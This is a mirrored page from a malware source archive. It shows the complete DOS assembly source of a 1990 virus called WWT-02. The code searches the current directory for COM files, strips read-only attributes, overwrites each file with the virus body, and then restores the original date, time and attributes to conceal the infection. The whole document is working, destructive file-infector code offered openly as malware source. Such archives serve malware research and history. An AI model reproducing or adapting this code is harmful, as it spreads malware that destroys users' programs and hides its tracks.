mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 09:52:32 +00:00
73 lines
1.9 KiB
NASM
73 lines
1.9 KiB
NASM
; Virus name WWT-02
|
||
; Description Attack any COM file in current directory
|
||
; Comment Don't change Date/Time, ignore ReadOnly
|
||
; Date 19 Dec 1990 15:30
|
||
; Place CICTT
|
||
;
|
||
mov dx,offset FileMask ; FileMask for any COM file
|
||
mov ah,4eh ; Find first file
|
||
mov cx,1 ; including attrib Archive
|
||
int 21h ; Call DOS
|
||
jnc Ok ; If no error -> go on
|
||
jmp short Exit ; If error -> exit program
|
||
|
||
Ok
|
||
call Infect ; Do infection
|
||
|
||
DoNext
|
||
mov dx,80h ; Set DS:DX to DTA
|
||
mov ah,4fh ; Find Next file
|
||
int 21h ; Call DOS
|
||
jnc NextOk ; If no error -> go on
|
||
jmp short Exit ; If error -> exit
|
||
NextOk
|
||
jmp short Ok ; Still next file exist
|
||
|
||
Exit
|
||
int 20h ; Exit to DOS
|
||
|
||
Infect
|
||
mov dx,9eh ; Set DS:DX to filename in DTA
|
||
mov ax,4300h ; Get file attribute
|
||
int 21h ; Call DOS
|
||
mov Attrib,cx ; Save attribute for later
|
||
xor cx,cx ; New attribute -> normal file
|
||
mov ax,4301h ; Set attribute
|
||
int 21h ; Call DOS
|
||
mov ax,3d02h ; Open file for Read/Write
|
||
int 21h ; Call DOS
|
||
jc Exit ; If error -> exit
|
||
mov bx,ax ; Save handle
|
||
mov ax,5700h ; Get file Date/Time
|
||
int 21h ; Call DOS
|
||
mov Date,dx ; Save date
|
||
mov Time,cx ; Save time
|
||
mov dx,100h ; DS:DX point to itself
|
||
mov ah,40h ; Write to handle
|
||
mov cx,offset VirusSize-100h ; Write only virus
|
||
int 21h ; Call DOS
|
||
mov ax,5701h ; Restore Date/Time
|
||
mov cx,Time ; Old time
|
||
mov dx,Date ; Old time
|
||
int 21h ; Call DOS
|
||
mov ah,3eh ; Close file
|
||
int 21h ; Call DOS
|
||
mov dx,9eh ; Set DS:DX to filename in DTA
|
||
mov cx,Attrib ; Restore attribute
|
||
mov ax,4301h ; Set file attribute
|
||
int 21h ; Call DOS
|
||
ret ; Return to caller
|
||
|
||
|
||
FileMask
|
||
db '*.COM',0 ; File mask for any COM file
|
||
Date
|
||
dw ?
|
||
Time
|
||
dw ?
|
||
Attrib
|
||
dw ?
|
||
VirusSize
|
||
db ? ; Used to calculate virus
|
||
; size
|
||
|